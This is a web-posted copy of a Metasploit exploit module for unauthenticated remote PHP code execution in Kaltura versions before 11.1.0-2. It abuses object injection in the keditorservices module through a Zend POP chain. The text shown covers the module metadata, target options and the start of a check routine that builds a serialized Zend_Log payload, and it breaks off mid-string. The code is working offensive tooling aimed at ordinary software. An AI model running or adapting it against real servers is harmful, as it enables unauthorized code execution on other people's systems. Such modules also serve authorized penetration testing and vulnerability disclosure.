Kaltura Remote PHP Code Execution
Posted on 22 September 2016
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Kaltura Remote PHP Code Execution', 'Description' => %q{ This module exploits an Object Injection vulnerability in Kaltura. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the context of the web server user. Kaltura has a module named keditorservices that takes user input and then uses it as an unserialized function parameter. The constructed object is based on the SektionEins Zend code execution POP chain PoC, with a minor modification to ensure Kaltura processes it and the Zend_Log function's __destruct() method is called. Kaltura versions prior to 11.1.0-2 are affected by this issue. This module was tested against Kaltura 11.1.0 installed on CentOS 6.8. }, 'License' => MSF_LICENSE, 'Author' => [ 'Security-Assessment.com', # discovery 'Mehmet Ince <mehmet@mehmetince.net>' # msf module ], 'References' => [ ['EDB', '39563'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Mar 15 2016', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']) ] ) end def check r = rand_text_alpha(15 + rand(4)) cmd = "print_r(#{r}).die()" p = "" p << "a:1:{s:1:"z";O:8:"Zend_Log":1:{s:11:"